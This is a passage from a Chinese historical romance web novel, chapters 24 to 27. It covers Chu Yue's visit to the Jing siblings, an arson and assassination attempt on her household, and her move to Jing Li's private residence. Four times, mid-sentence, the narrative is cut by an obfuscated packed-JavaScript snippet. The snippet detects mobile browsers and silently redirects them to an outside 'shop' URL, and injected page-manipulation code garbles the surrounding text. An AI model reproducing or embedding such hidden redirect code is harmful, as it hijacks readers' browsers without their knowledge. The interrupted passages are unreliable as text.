“大胆!”楚倩又气又恼,但没有失去理智:“世人皆称大将军为战神,大将军声称要大晋而战,要保护大晋的子民,我也是大晋的子民之一,大将军好狠的心肠,你难道就忍心看我一个弱女子离乡背井,任那西戎人欺凌么?” 一边说,还一边拭泪,一副我见犹怜之态。 她来前被母妃面授机宜,越厉害的男子,越见不得漂亮的女子示弱落泪。 她这样美,又做足了姿态,就不信这粗汉子对这样的她无动于衷。 景璃抬头,面无表情看过去,不掩心中嫌恶。 前世就是因为这四公主自私懦弱,阿悦才踏上和亲之路,最后香消玉殒。 景璃:“公主抬举下官了,下官与诸将士只负责在前线冲杀,前线之外的事自有圣上与百官决断。若没有别的事,下官告辞。” 见他真的转身走了,四公主恼羞成怒:“你站住!” 这人竟然如此嚣张! 景璃顿住脚步,面无表情看过去。 楚倩被他透出的嫌弃惊呆了,这反而激起她的斗志:“你别不识抬举,我若执意要让你当驸马,你以为你能拦得住我?” 景璃冷笑了下:“公主三思,做决定之前不妨问问娘娘与康王殿下的意见。” 该说的已经说完,景璃转身离开。 留在原地的楚倩被他的无情惊得久久说不出话来,良久,才真正意识到自己被人无情拒绝了。 楚倩恨恨望着景璃离开的背影,越发生气。 若不是哥哥后来找的武将军太过花心离谱,她又怎么会自降身价,来看一个大老粗的脸色。 楚倩咬牙:“回宫。” 她非要出这一口恶气不可。 * 皇后的人直接将楚悦送到家中,因为和皇后的约定,宫女对楚悦很客气。 她拿出一块腰牌递给楚悦:“姑娘若有需要,不妨将牌子送给长天门的杜大人,娘娘自会派人来接姑娘。” 楚悦双手接了:“民女记下了。” 送走宫里的人,姜婆婆老两口来了,满脸关切:“宫里怎么说?” 没有定论的事,楚悦不想多说反而令老人家跟着担心:“没什么大事,就是圣上对爹爹的案子已经有所松口,娘娘叫我过去问了问我与阿昕的情况。” 这算是好消息了,姜婆婆双手合十:“老天有眼,姑娘与小世子总算苦尽甘来。” 楚悦配合着笑:“是啊。” 一直没说话的姜爷爷觉得姜婆婆太不沉稳:“人平安回来你也该放心了,姑娘累了一上午,让她歇歇,快弄饭去。” 老两口走后,楚悦收起笑容,走到窗前的炕床上坐下来。 快五月底了,日头已经很热,楚悦的心里却只觉得冷。 按理应当是由四公主去和亲,却莫名其妙轮到了五公主,这种情况只能是四公主与人定下了婚约。 一想到四公主在门口巴巴等的人是他,她不光觉得心里冷,连呼吸都有些疼。 她从未怀疑过他对自己的诚意,可在绝对的皇权面前,他能拒绝么? 她又能真的回绝皇后的提议? 楚悦不敢想了。 用过午饭,楚悦在屋里小憩,姜婆婆来了:“长安来了,说奉萱姑娘的命令来接您。” 闻言,楚悦面色一烫。 她怀疑长安其实是景璃派过来的,景萱其实未必知道她要去看她。 楚悦坐起来:“劳驾婆婆去通知长安一声,请他稍等。” 姜婆婆应声后出去了,楚悦换上衣裳。 她穿的还是上午进宫那一身,即除服时景萱送她的那一套,上身是浅碧色对襟短衫,下身着月白色缠枝纹长裙。 换好衣裳,楚悦来到连三柜前,对着屋中唯一的一面铜镜重新梳妆。到挑选头饰时,她取出景璃送给她的漆木盒,戴上那对一眼就吸引住她目光的蝴蝶珠花。 出门前最后检查一遍,楚悦后知后觉,她这一身上下都是景璃兄妹所赠。 短暂的失神之后,楚悦很快打起精神,他们从认识她的时候就清楚她的处境,没什么好不自在地,大大方方地,才不算不辜负他们的心意。 收拾好,楚悦深吸一口气出门,并和姜爷爷和姜婆婆说好,傍晚和楚昕一起回来。 在门口见到亲自驾车的长安,楚悦问他:“世子回府了?” 自从得知眼前的姑娘与自家主子是两情相悦,长安对楚悦越发恭敬:“世子下值后就回府了,用过午膳后就一直在书房里,再没出过门。” 楚悦平静地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13918001|146109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点点他。 等楚悦抵达国公府时,景萱已经在门口等着了。 这是她第一次单独来国公府,景璃没在,不知怎的,楚悦反而更自在。 景萱大步迎出来,看到楚悦很高兴,挽着楚悦就往她的住所里走。 来之前楚悦想过要来拜访老夫人,只不过老夫人在家做了居士不喜有人打扰,楚悦也就主随客便。 她关切地问景萱:“你的身体如何了?” 景萱脸上的笑意凝了瞬,很快恢复如常,她笑着比划:“早就痊愈了。” 楚悦却看出景萱在撒谎。 两日不见,景萱看起来憔悴了许多,虽略施了粉黛,却没有遮住眼底的青色。 进了景萱的明月堂,楚悦让景萱支走丫鬟,满目担忧:“我看你根本没好,到底怎么回事?” 景萱心里暖暖的,没想到楚悦这样细心,竟然看出来了。 事已至此,景萱也就瞒不下去了,对楚悦比划道:“那日回来后,突然对新话本有了想法,于是让人连夜写出来,这两日日里夜里满脑子都是话本,根本没有休息好。” 楚悦:“……” 她知道楚悦爱看话本,倒没料到她对话本痴迷到这种地步。 怕楚悦不信,景萱让兰心将她让人写的话本拿出来,郑重呈至楚悦面前:“你也看看,若有意见的话我再叫人去改,若你也觉得好,那就请你帮我着手画小像。” 面对景萱的盛情邀请,楚悦没有拒绝,捧在手里津津有味看起来。 她看着看着,眼里就不受控制泛起阵阵湿意。 与景萱之前让她看的那些才子佳人终成眷属的话本不同,这一次是个悲剧。 主角是一位眼盲的姑娘和身负家族希望的世家公子。 姑娘心仪公子,但因为她眼盲,自知不会被公子的家族所接纳,只敢将心思藏在心底;但姑娘放不下公子,以自己的方式对公子好,甚至因此受了不少磨难。 公子重振家族得偿所愿。 姑娘一直有个心愿,想知道公子长什么模样,可惜因为太想重见光明采用了激进的法子,最后不治身亡,她到死都不知公子的模样。 而那位公子,直到姑娘身故都不知道,他那花团锦簇的日子里,有一半是姑娘的功劳。 楚悦看不下去。 景萱也双目含泪,笑着问楚悦:“怎么样,是不是能打动人?” 在看景萱的话本的时候,楚悦心里闷闷地:“为何想起写这样一个故事?” 闻言,景萱眼底的泪水突然如决堤一般落下来:“看多了大团圆,突然想着,不那么美好的故事兴许一样能打动人。” 景萱掏出帕子,用力擦干眼泪,眼角也擦得通红:“看到你这样我就放心了,说明我的思路没错,肯定也有除了你我之外的人喜欢。” 楚悦也默默拭泪。 兰心突然来了:“姑娘,楚姑娘,世子来了。” 两个泪汪汪的人怔住。 景萱暗道不好,她太想让阿悦看她的新作,差点忘了,今日本就是大哥以她的名义请的阿悦。 25. 第 25 章 景萱一边让兰心通知景璃等一等,一边纷纷丫鬟打水来给她们洗脸。 约一盏茶后,两个姑娘彼此检查,除了眼睛还有一点红,别的倒是看不出什么了。 景璃没对景萱回避他对楚悦的心意,也告诉了她楚悦接受了他,但姑娘家害羞,让景萱当着楚悦的面不要主动提及两人的关系。 好不容易有机会亲眼看到有情人终成眷属,景萱当然配合。 所以,三人见面之后,景萱就以要继续完善话本出去了,将会客厅留给了楚悦与景璃。 两世为人,景璃还是第一次主动邀请姑娘来家里,虽然不是在他自己的澹明堂,可这也有着无与伦比的意义。 落座后,景璃主动挑起话题:“眼睛怎么了?” 楚悦有点尴尬:“看了阿萱让人新写的话本,一时有些感慨。” 景璃很好奇什么样的话本能令人这样动容。 听楚悦讲完,景璃的眸光有些复杂。 因为景萱口不能言,一向没什么朋友,几乎没怎么出过门,闲来靠看话本打发时间,一来二去,她萌生出写话本的爱好。于是,他就干脆送她一间铺子,找靠得住的书商合作,满足她看话本写话本的喜好。 只是景萱一向喜欢花好圆月的故事,突然写出这样一个无疾而终的悲剧,令人不得不多想。 楚悦看出了景璃的异样,心也跟着提起来:“怎么了?” 景璃:“阿萱写这样的故事,情绪一定好不了,你若能常来走动,她一定很高兴。” 楚悦一怔:“原来那些话本真是阿萱写的。” 景璃:“什么?” 楚悦告诉景璃她的推测。 之前景萱就话本交给她时,总要强调一句是别人写的,可景萱不爱出门,也不同旁人来往,却总能拿出新的话本,提起与话本想关的简直无所不知,她早就怀疑景萱说的别人就是她自己。 担心景璃为泄露妹妹的秘密懊恼,楚悦:“放心吧,在她自己承认之前,我不会主动挑明。” 她其实理解景萱的行为,每个人都有不希望旁人知晓的秘密,有些秘密对旁人而言无关紧要,但自己就是不想让人知情。 有景萱这个共同的话题,你来我往之间气氛就自然了。 知道楚悦要来,景萱有所准备,茶果饮子都是现成的。景璃将茉莉饮子推至楚悦面前,的目光重新落在楚悦的发间:“绒花很好看。” 闻言,楚悦面色一烫。 绒花本就是他送的,他这样说是想说他自己眼光好? 低头捧起莲青色建盏掩饰心慌张,楚悦轻声开口:“多谢世子。” 景璃看着她低垂的长睫:“之前看你戴过,猜你可能会喜欢。” 楚悦的心猛跳了下。 因为回京途中那一场风雪,那一对绒花遗失了一只,后来到京城后她就再也没有戴过,可他却记得当年的样式。 楚悦掀眸看向景璃。 原来从头到尾都并非是她在一厢情愿,那年匆匆一面,不光她记住了他,他也记住了她。 眼底烫烫的,鼻间也酸酸的,楚悦握着建盏的手微微有些颤抖,有些难以置信,有些不知所措。 怎么会呢? “阿悦。” 泪雾朦胧中,原本坐在对面的人已经来到他身侧,轻轻将她揽在怀里。 他的胸膛很宽,怀抱也很暖,这一刻,楚悦想起他之前提过的,他将太后的戏言当成真的。 猝不及防地,她又想起景萱话本里的那个姑娘,若那个姑娘同她一样,也就这样好的运气就好了。 就算不能双宿双栖,曾经付出过的心意得到过回应,就该高兴。 “放心吧。” 景璃只知道,这姑娘的心思细腻又敏感,他有些情绪不适合他刨根问底,他要做的,是等她主动卸下心防。 他一下一下拍着仍在哽咽的姑娘,告诉她,“故事是死的,人是活的,话本里的故事就算结局了也不会停,后面的人随时可以改写,还有和亲之事,一定也能解决。” 楚悦原本正感慨着,被他这样生硬打岔,那些积压在心底的情绪好像无根之萍,就那样散了。 这样一来,注意力就都到了两人目前的姿势上。 楚悦挣了挣。 景璃轻轻拍她的手一顿,松开。 楚悦忍不住为刚才的忘情感到不好意思,景璃递上一方叠得整整齐齐的手帕,不希望她陷在不好的情绪里:“阿悦放心,我不会让和亲之事不会落到你头上。” 楚悦心里想问,那他与四公主私下见面呢,该不该问。 念头才出,就被她压下去了。 事情得一件一件解决,但凡他让她放心的,好像真的都能得她带来安定。 既然已经认定,何必要怀疑他一往无前的热情,如果到了不得不走的那一步,一定有不得已的苦衷。 楚悦点点头,垂着眼将用过的帕子收好。 日头渐渐西斜,到了学堂散学的时候,楚悦也该走了。 叫景萱过来,三个人一起去学堂。 景萱故意落后几步走在两人身后,纵然写过不少话本,也见过无数爱恨情仇,她对自家大哥的行为仍有些不解。 大哥对阿悦无疑很上心。 虽然有她这个妹妹在,他的目光简直化作了实质,无时无刻不粘在阿悦身上。 阿悦呢,也是对大哥有好感,她在大哥身侧一颦一笑都透着愉悦,虽然克制,但眼睛里有一个人,有心人很容易看到。 好不容易见面,她都将地方收拾出来了,这两人竟然不想着好好待一阵。 她分不清这两人到底是过于克制,还是只是浅浅的好感。 胡思乱想间,前面的两人停下来等自己了。 景萱收起乱七八糟的心思,快步来到楚悦身侧,觉得有些可惜:“这么快就走了?” 楚悦知道景璃大概没有和景萱瞒着他们的来往,脸微微红着:“不早了,坊门该关了。” “那有什么?”景萱很热情:“那就住我这里,阿悦好不容易来一趟,就安心住几日。” 景璃想起自己之前说过什么,担心妹妹的热情令楚悦为难:“阿悦还有别的事,下回你若想邀请她,提前下帖子。” 景萱震惊地看向自家哥哥,难道阿悦留下来高兴的不是他么?! 景璃冲楚悦开口:“走吧。” 景萱:“……” 好吧,那她就继续做一个称职的旁观者,少掺和吧。 三人抵达学堂时刚下课,楚昕还在向先生请教问题,景琮没着急走,趴在桌上有一搭没一搭听着。 直到眼神瞟到门口的人,景琮立即坐正,自然也看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13931564|146109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了景璃身侧的楚悦。 上次见楚悦还是三年半前,那时楚悦姐弟俩因为景璃的救命之恩随父母来府里答谢,他那时还看景璃不顺眼,连带着看所有与景璃走得近的人不顺眼。 只是总听楚昕提到他那个全天下最好的姐姐,也忍不住多看了几眼。 楚姑娘年纪不大,比他和景萱都小,看着却有种沉静温柔的气质,似乎性格很好很好相处。 楚悦之前对景琮也没什么印象,但听楚昕提过,景琮人不坏,就是脾气有些古怪。 对上这双审视的眼,楚悦没有生气,冲他绽出个友善的笑。 下一瞬,就看到这和自己同龄的人不自在别开目光,耳朵也红了。 邵先生看到楚悦他们,提醒楚昕看窗外。 楚昕惊喜看过来:“姐姐!你怎么来了?” 和邵先生见完礼,楚悦有些心虚解释:“我来看望你萱姐姐,顺便来接你一起回去。” 楚昕很开心。 虽然他已经是个大小伙子了,但有姐姐接他回家,楚昕咧着笑脸和众人一一告别。 分开的时候,楚昕想起来问景璃:“咱们明天何时启程?” 景璃之前答应过他,等休沐的时候,带他与景琮去郊外的庄子上跑马。 闻言,景琮也看过来。 景璃:“卯正我与景琮去找你。” 楚昕饱含期待:“太好了!那我就在家等着两位。” 景璃与景萱将姐弟俩送到门口,景琮想了想,也默默跟上去送楚昕。 回屋的途中,景萱好奇:“大哥怎么不多留阿悦一阵?” 景璃认真回答:“阿悦是好人家的姑娘,越盼望长久,就越要尊重人家。” 景萱惭愧:“是我大意了。” 同为女子,她为楚悦能遇到这样体惜她的人高兴。 另一边,楚昕忍不住感慨景璃对他们姐弟二人的照顾,好奇:“姐,你说景大哥为何对我们这样好?” 楚悦被问住了。 她总不好说景璃是因为她,于是按他之前说给孙仲的说辞:“世子曾受过爹爹的指点,才特意关照你我。” 楚昕重重颔首:“真没想到景大哥是这样的人,看似冷淡无比,实则这样重情意,比有些口上说着好听的人强多了。” 在楚悦心里眼下并非坦白的绝佳时机,只好含糊说是。 到家了,姜婆婆在厨房准备晚膳,姜爷爷在帮忙,打过招呼后,楚悦回到房里。 她先掏出景璃借给她的帕子抻平放好,又拿出一条自己平日里用的帕子,两张帕子放在一起,心里涌起阵阵甜蜜。 趁还有太阳,楚悦将帕子洗净了晾好,到夜里入睡的时候帕子已经干了。 吹了灯上床,楚悦一闭眼就是他轻轻拥着她时、以及那双眼睛总是灼灼看着自己的场景。 楚悦咬唇,拉高被子盖住自己热气腾腾的脸。 不知过了多久,楚悦掀开被子,感觉还是热。 反正睡不着,楚悦索性重新点灯,取来针线,在他那张光秃秃的帕子一角绣上一直翩跹的蝶。 终于忙活完,楚悦心满意足将帕子叠好放在枕下,总算陷入梦乡。 直到感觉天亮了,正奇怪今夜似乎出奇的短,楚悦闻到空气中弥漫着桐油的味道,她扭头看向窗外,意外发现外头火光冲天。 26. 第 26 章 楚悦腾地起身。 应该不是家里着火,火光似乎是从东边邻居家传出来的,楚悦抓起衣裳边往身上套,去敲东屋的门。 “着火了!快起来!” 楚昕原本在做梦,听到这咚咚咚地敲门声叫了声姐姐,也立即跳下床。 楚悦打开堂屋的门,去叫老俩口,正好碰到老两口披着衣裳从南房里走出来。 “没事吧。” “没事吧。” 双方异口同声,楚昕也从屋里跑出来,四人都聚在院子里。 这下看得更清楚了,就是隔壁邻居家着火了,大火已经蔓延到房梁上,隔壁哭喊声与叫骂声不绝于耳,看着触目惊心。万幸两家隔着一条两尺来宽的小巷,火烧不到这边。 姜爷爷:“我去帮忙,你们在屋里守着,万一火势蔓延过来。” 姜婆婆点点头:“我看着孩子们。” 都是邻居,虽说平时不怎么往来,但毕竟是人命关天的事,总不能袖手旁观。 楚昕也冲进厨房拎了个水桶出来:“我也去帮忙。” 姜爷爷不同意:“你留在家里,你我都走了,家里没个男人,万一有人趁乱浑水摸鱼,让你姐姐和姜婆婆如何是好。” 姜婆婆:“对!世子留下。” 那边商量着,楚悦心里却有不好的预感。 隔壁是大杂院,租出去了,住了二十来口人。这火势凶猛,连房梁都快烧断了,需要时间才能如此。除非人为,否则那二十多口人不可能都睡得那样死,无一人察觉到异常。 太奇怪了。 楚悦下意识看向西边暗处,只一眼,楚悦忍不住惊呼:“屋顶上有人。” 被发现了,原本趴在屋顶上的人索性跳下来。 老爷子下意识冲到三人面前,用木桶指着从屋顶跳下来的两个黑衣人:“你们是谁?” 已经跳下来的两一言不发拔出佩刀,一步步朝四人逼近。 就在楚悦以为在劫难逃之际,大门被人踹开,两个武侯打扮的人冲进来,提着刀冲向那两个黑衣人, 黑衣人看到武侯明显吓了一跳,楚昕和姜爷爷趁机将水里的水桶扔向黑衣人,黑衣人便不再恋战,毫不犹豫翻墙离开。 武侯没去追,来到楚悦跟前:“小的来迟了,姑娘受惊了。” “我们没事。” 楚悦认得这两人,他们是景璃的人,上次她被黎青那个登徒子堵截,就是他们二人及时出现赶走了黎青。 只不过他们上次做普通百姓打扮,这一回却是武侯打扮,明显在值守之时赶过来的。 再联想起她刚醒来时闻到的桐油味道,楚悦的心不住下沉:“怎么回事?” 看起来和善些的丁远开口:“有人通过在隔壁纵火吸引武侯铺的注意,再趁乱对姑娘和公子下手。” 果然被针对了,楚悦只觉得后背发凉。 他们在这京城里再安分不过,她想不通他们碍了谁的眼。 看着异常冷静的姑娘,丁远郑重开口:“姑娘放心,那两人逃不过世子的手掌心,一定能很快水落石出。” * 离开延贤坊后,黑衣人就将身上的黑衣脱下来,连着佩刀一起扔进从西市一路流淌过来的陵水河里。 夜里失火,早就将这一带的居民惊醒,看热闹的、去救火的人络绎不绝,附近负责维持坊院治安的武侯也都集中在姜家隔壁。两人趁乱,趁人多眼杂混入人群。 第二日清早,坊门刚开,长安就带着丁远匆匆前来。 景璃已收拾妥当,准备用过早膳后带着景琮去接楚昕去庄子上跑马,见到丁远后神情变得凝重:“你怎么来了,发生了何事?” 丁远将夜里发生的事一五一十述说了一遍。 他们一共有四人,分两班混在离延贤坊最近的武侯铺里当值,姜家那边一有风吹草动,他们就能透过望楼看见。 昨夜姜家隔壁失火,按照惯例,武侯们理应尽快去查探情况。 但他觉出些不对劲,那火势蔓延得过快,于是留了个心眼,在其余的武侯去灭火之际他与同伴先去姜家查探情况。 结果令人心惊,但凡晚一步,姜家里的四口人就成了刀下亡魂。 闻言,景璃的脸上如同挂了一层寒霜:“抓住凶手了?” 丁远点头:“那二人见无法得手,逃出姜家后先是混入到救火的人当中,后来又潜伏在客栈里,今日坊门一开,属下与程运已将这两人关在别院里,由程运看守起来。” “主使是谁?” 丁远说是:“这两人嘴很硬,属下不得不使了点手段,问出这两人奉的黎青的命令。” “黎青?” 黎青乃后宫中最受宠的丽贵妃的幼弟,此人不学无术,是上京有名的纨绔。原本觊觎阿悦,被他的人收拾了两回,没想到竟然变本加厉,起了杀心。 景璃想手刃此人的心都有了。 丁远小心翼翼觑他一眼,咽了咽唾沫,道:“按他们的计划,先利用那一场大火吸引 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13941677|146109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住值守的武侯们的注意力,然后翻入姜家趁乱灭口,到时神不知鬼不觉。就算之后有人意识到那一场大火蹊跷,右丞相府也准备了替罪羊,绝不会怀疑到黎公子与右丞相府上。” 景璃感到后怕,差一点,他们就再次阴阳两隔。 但理智告诉他,此事恐怕不止这样简单,黎青是个莽夫,想不出这样周全的计策,况且昨日四公主也留下狂言。 事关阿悦,他绝不允许自己掉以轻心。 打发走丁远,景璃后知后觉,连垂在身侧的手都在颤。 好不容易平复下来,他叫来长安派人盯着黎青:“你让人去通知二公子,让他收拾好立刻来见我。” 景琮早就穿好骑装,只等景璃一声令下就可以出发,兴致勃勃赶来。 景璃开口:“楚家出了点事,去跑马的事暂时推迟,我叫你来是想请你帮个忙。” 闻言,景琮的心提起来。 长这么大,大哥好像一直拿他当累赘,鲜有正眼瞧他的时刻,景琮按住噗通直跳的心:“什么?” 景璃:“你亲自去邀请楚昕去你那里住一段时日,他与你同吃同住,由你照顾好他,你能否答应?” 虽不知发生了什么,景琮从这个奇怪的请求里意识到事情的严重性,他坚定点头:“好。” 他文不成武不就,但也不希望被近来对他似乎有了些耐心的大哥看成毫无作用。 一刻钟后,兄弟俩出现在姜家门口。 知道景璃有话说,楚悦打发楚昕招待景琮,她自己将景璃带到会客的小花厅。 “你没事吧?” “我没事。” 两人异口同声。 隔壁的火太大,虽然没有烧到这里,但紧邻的墙被熏黑了一大片。毕竟出了事,还有人在他们面前拔了刀,虽有丁远他们守着,家里的四个人仍旧不敢放下,几乎都一夜未眠。 看到景璃的那一刻,楚悦仿佛一下子找到了主心骨,心也不慌了。 出了这样的事景璃不可能不追究,但对方有右丞相府和丽贵妃撑腰,有些事情他得未雨绸缪。 和楚悦分析利害之后,景璃征求楚悦的意见:“你觉得如何?” 楚悦听明白了,安心的同时,又有些难为情。 他的意思是可能不止黎青盯上了他们,安全起见,让楚昕去景琮那里住一段时日;他一个未婚女子去国公府里住不方便,可他又希望她能在他的眼皮子底下,他想安排她与老两口去他母亲留下的私宅里。 27. 第 27 章 对面的目光太过真挚灼热,楚悦就是想忽略也难。 她当然不会认为他是出于龌龊的心思才会提出这样的建议,相反地,她知道他是为了她的安全考虑,拒绝的话不仅有不知好歹之嫌,还显得看低了他的品性。 但楚悦还有一点担心,垂着眼问他:“若是被人发现你我往来,会不会影响你?影响到案情?” 爹爹的事,他一直在暗中推进,若是有人以此要挟他从而影响到案情,那是她不愿见到的。 到这一刻,她突然发现,她最在意的还是爹爹能不能翻案,只要能为爹爹洗刷清白,使弟弟能够堂堂正正地恢复身份,至于他与其他的,她好像自然而然地放在了后面。 景璃揉揉姑娘柔软的发顶:“不要紧,你我本就不用避着任何人。” 尤其发生昨夜的事以后,他这边的动作也得加快了。 楚悦同意了。 既然决定了,就不再浪费时间,景璃只有今日休沐,众人动手收拾起来。 楚昕原本很高兴能去国公府住,这样的话有更多的时间向先生请教,听说楚悦也要搬,他察觉出不对劲来,问楚悦:“姐姐是不是有事情瞒着我?” 楚悦坦白:“最近是有些不太平,世子担心来往的路上不安全,所以才提议让你去国公府与二公子同住,等安定下来,咱们自然也能回来了。” 楚昕担心楚悦:“姐姐为何不一起,景大哥人好,就算也去国公府借住他肯定也是同意的。” 从景萱那里看过足够多的话本,景琮略懂景璃这样安排的心思,闻言走过来:“我家没有掌事的女眷,两个适婚的男子,你姐姐若是住进我家,旁人知道了怎么看她。” 楚昕猛地警觉起来,他好像一直忽略了一个事实,姐姐已经到了嫁人的年龄! 楚昕连忙止住原本的念头,懊恼道:“是我大意了。” 楚悦朝景琮投去感激的一眼,对楚昕道:“放心吧,世子已经帮我找好了住处。” 景琮也看了眼不远处正帮姜婆婆赶鸡崽的景璃,大哥这人最不喜麻烦,怕是有更深的打算,对楚昕如此也算爱屋及乌了。 楚悦姐弟俩将老两口当长辈看,景璃耐心跟姜婆婆解释:“那边常用的东西都有,离西市也近,就算缺了东西回来取也方便,所以带上换洗的衣裳便可。” 姜婆婆在景璃身上仿佛看到了年轻湘王的影子,笑眯眯地:“行,那就麻烦世子了。” 老少四人的东西本就不多,很快就收拾妥当。姐弟俩的东西稍多,除了装衣服的包袱外,楚悦有个首饰盒,楚昕多一包书。至于院子里的鸡,景璃会安排人定时来喂食。 之后就兵分两路,长安先送景琮与楚昕前往国公府,再驾车带着老少三人前往善平坊,景璃随行。 善平坊位于皇城脚下,要去的地方名为和园。原是景璃母亲幼时的居所,在多年前的变故中,他外祖一家遇难,宅子也被叛军抢走,后来景璃的母亲回到京城后才要回来。 这里离景璃的衙署近,有时下值后他不回国公府,尤其是去西戎征战之前,几乎有一半时间住在这里。 久而久之,这里都是景璃的心腹。 和园是一处三进宅院,布置得很精巧,因之前家里人口多,整栋宅子巧妙得分隔成大大小小的院落,景璃将楚悦与老两口安排在西侧两个前后相邻的客院里。 在和园的管家带着老两口去安顿的时候,一位年约六十的妇人也来到楚悦这边,帮楚悦收拾。 来的路上景璃已经告诉过她,和园里有位关嬷嬷,原是景璃母亲的乳母,景璃的母亲去世后,关嬷嬷带人照顾他,等景璃成人后,关嬷嬷就离开国公府来和园养老了。 这关嬷嬷行动利索,未开口就带了三分笑:“早就听世子提起过姑娘,今日一见,果然哪哪都好。” 楚悦面色一红,他都跟人说了什么啊。 “关嬷嬷。”楚悦客气开口。 小丫鬟端着托盘进来,可能是紧张,进门的时候差点被门槛绊倒。将手里的雕花托盘放在矮几上,扑通跪倒在地上:“婢子错了,姑娘饶命。” 楚悦:“……” 这是什么状况啊? 关嬷嬷觉得头有点疼:“这是新来的小丫鬟初云,还没来得及学规矩,让姑娘见笑了。” 楚悦看向偷看自己的小丫鬟,柔声开口:“起来吧。” 小丫鬟爬起来:“谢谢姑娘。” 打发走小丫鬟后,关嬷嬷亲手给楚悦沏好茶,并向楚悦介绍了和园的基本情况。 这里人不多,尤其是后院,除了关嬷嬷和初云外,只有一名厨娘、一名帮厨以及两个粗使婆子。偶尔景璃来住一住,平时都没什么过来。 于姨满脸笑容看向楚悦:“姑娘只管安心住在这里,将这里当成自己的家。” 楚悦一怔,关嬷嬷这态度……也不知道他和关嬷嬷交代过什么。 眼见姑娘的面庞一点一点变红,关嬷嬷温声道:“姑娘安心,这是世子第一次带人来这里,就是萱姑娘也不曾来过。夫人若是在天有灵,一定也会为姑娘的到来高兴。” 察觉到关嬷嬷的话中之意,楚悦更加羞涩了,难道他是让和园的人将她当做未过门的妻子看待吗? 该表明的态度已经表明,关嬷嬷不忍心看这姑娘一直不自在,得给她点时间适应:“姑娘先安心歇着,我去厨房里看看。” 关嬷嬷离开,楚悦长舒一口气,从窗边的美人榻前站起来。 这里很好,他也很好,一切都很好。可在不久之前,她还在想着,若真到了二选一的时刻,她一定会将爹爹的案情置于他之上。 想起不明真相的他仍在一腔热情打算着,楚悦一阵阵心酸。 楚悦强迫自己收起乱七八糟的心思。刚才忙着应付于姨,她还没来得及打量住处。 她怀疑景璃提前让人通知关嬷嬷了,屋里的日常用具一应俱全,根本不用再添置,且这里的陈设与布置比她之前用的精致许多。 看完室内,楚悦走出屋子,迈下台阶。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958654|146109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小院只有一进,比姜宅小些,和姜宅的布局差不多。正房三间,西屋为卧房,东屋可以用作书房或是会客室,东屋窗下有一株海棠,一簇簇粉的白的海棠花开得正浓烈。虽没有耳房,且东西两边的厢房只有一间,楚悦一人住绰绰有余。 打量完,楚悦担心老两口不习惯,准备去前面的院子里看看。 不料,刚走下台阶,就看到景璃从院门口走进来。 “都收拾好了?”景璃先开口。 楚悦迎上去,说收拾好了。 其实没什么好收拾的,主要是预备得太齐全了。 他个子很高,走得好快,仿佛才走了几步,人就到了自己身前。 因为身高的差距,楚悦看不到他的脸,这样一来,楚悦也就可以不去管他看她时那种密不透风的视线,能相对自如些:“你什么时候让关嬷嬷他们准备的?” 景璃:“早晨出门的时候,让人提前通知的关嬷嬷她们。” 楚悦垂眼看着地面的青砖,心微微颤着:“难道你都不担心让他们白忙一场?” 景璃看着身前软软的姑娘:“与你有关的,怎能算白忙。” 楚悦一怔,他这样说…… 景璃就看到姑娘白嫩的耳垂倏地变红,深邃的眼底浮出几分喜意。 不逗她了,景璃这回来找楚悦是有正事。 对方来势汹汹,坐以待毙可不行,人到了和园,有些事他也可以告诉她一些,免得毫无准备。 景璃:“我待会要出去一趟,这些天你们暂时哪里也不要去,有什么需要置办的你告诉关嬷嬷。” 景璃都不让她出门,楚悦也意识到严重性,好奇:“世子可查到纵火之人是谁?” 景璃:“有怀疑的目标,此番出门就是为去查证。再者,眼大人他们大约半月后抵达京城,等他们一到,王爷的案子也就会真相大白。” 楚悦惊讶:“这么快?” 她知道景璃在暗中跟进,但毕竟是悬了三年多的案子,期间谁提谁获罪,楚悦着实没有想过会这样顺利。 景璃看向姑娘因为惊喜越发明亮的眼眸:“阿悦只需记得,凡事有我。” 重活一回,倘若连护她周全都做不到,那还有何意义。 